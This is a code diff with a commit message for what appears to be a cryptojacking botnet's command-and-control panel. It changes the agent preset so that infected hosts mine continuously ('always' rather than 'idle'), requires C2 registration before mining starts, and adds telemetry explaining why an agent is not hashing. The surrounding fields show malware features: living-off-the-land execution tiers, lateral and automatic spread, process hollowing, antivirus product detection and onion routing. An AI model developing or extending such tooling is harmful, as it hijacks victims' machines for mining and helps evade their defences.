Fix simple deploy mining: refresh auth tier policy and mine immediately.

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.

server/internal/api/websocket.go

@@ -1192,7 +1192,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				At     string `json:"at"`
 			} `json:"failed_methods,omitempty"`
 			// Fleet health mining telemetry (coalesced into stats_batch)
-			MiningHashrate float64 `json:"mining_hashrate,omitempty"`
+			MiningHashrate    float64 `json:"mining_hashrate,omitempty"`
+			MiningBlockReason string  `json:"mining_block_reason,omitempty"`
 			LOTLTier       string  `json:"lotl_tier,omitempty"`
 			LOTLAttempts   []struct {
 				Tier       string `json:"tier"`
@@ -1356,6 +1357,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			if stats.MiningHashrate > 0 {
 				broadcast["mining_hashrate"] = stats.MiningHashrate
 			}
+			if stats.MiningBlockReason != "" {
+				broadcast["mining_block_reason"] = stats.MiningBlockReason
+			}
 			if stats.LOTLTier != "" {
 				broadcast["lotl_tier"] = stats.LOTLTier
 			}

server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx

@@ -42,7 +42,11 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
           {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
         </strong>
         <p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
-          {status.message}. &quot;Deploy&quot; here means C2 registration + mining tier probe — not lateral spread.
+          {status.message}
+          {sample.mining_block_reason && sample.mining_block_reason !== status.message
+            ? ` — ${sample.mining_block_reason}`
+            : ''}
+          . &quot;Deploy&quot; here means C2 registration + mining tier probe — not lateral spread.
           Check Calibrate wallet/pool, then run diagnostics or restart mining.
         </p>
       </div>

server/web/src/help/applyStatsUpdate.ts

@@ -59,6 +59,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
     ...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
     ...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
     ...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
+    ...(update.mining_block_reason !== undefined ? { mining_block_reason: update.mining_block_reason } : {}),
     ...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
     ...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
     ...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),

server/web/src/help/simpleDeploy.test.ts

@@ -59,6 +59,7 @@ describe('simpleMinePreset', () => {
     const p = simpleMinePreset();
     expect(p.simple_deploy).toBe(true);
     expect(p.miner_execution).toBe('inprocess');
+    expect(p.mining_mode).toBe('always');
     expect(p.lotl_onion_enabled).toBe(false);
     expect(p.auto_spread).toBe(false);
   });

server/web/src/help/simpleDeploy.ts

@@ -34,7 +34,7 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
   }
 
   if (agent.chain_exhausted) {
-    const err = agent.last_error || agent.failed_methods?.[0]?.reason;
+    const err = agent.mining_block_reason || agent.last_error || agent.failed_methods?.[0]?.reason;
     return {
       phase: 'failed',
       message: err || 'Mining chain exhausted — all tiers failed',
@@ -42,6 +42,14 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
     };
   }
 
+  if (agent.mining_block_reason) {
+    return {
+      phase: 'testing',
+      message: agent.mining_block_reason,
+      tier,
+    };
+  }
+
   if (tier) {
     return {
       phase: 'testing',
@@ -94,6 +102,6 @@ export function simpleMinePreset(): {
     process_hollowing: false,
     remote_aggressive: false,
     fusion_enabled: false,
-    mining_mode: 'idle',
+    mining_mode: 'always',
   };
 }

server/web/src/help/wsStatsCoalesce.ts

@@ -50,6 +50,7 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
   if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
   if (u.services !== undefined && agent.services !== u.services) return false;
   if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
+  if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
   if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
   if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
   if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;

server/web/src/types/index.ts

@@ -94,6 +94,8 @@ export interface Agent {
 
   /** Effective mining hashrate from stats_batch (CPU+GPU rollup when omitted). */
   mining_hashrate?: number;
+  /** Primary reason agent reports zero hashrate (from stats_batch). */
+  mining_block_reason?: string;
   /** Living-off-the-land execution tier reported by agent. */
   lotl_tier?: string;
   /** Per-tier attempt history from agent TierReport. */

server/web/src/types/ws.ts

@@ -76,6 +76,8 @@ export interface WSStatsUpdate {
 
   /** Effective mining hashrate (H/s) — may differ from hashrate_15m when GPU/container active. */
   mining_hashrate?: number;
+  /** Primary reason for zero hashrate when agent is online. */
+  mining_block_reason?: string;
   /** LOTL tier label for spread telemetry badges. */
   lotl_tier?: string;
   lotl_attempts?: import('./lotl').TierAttempt[];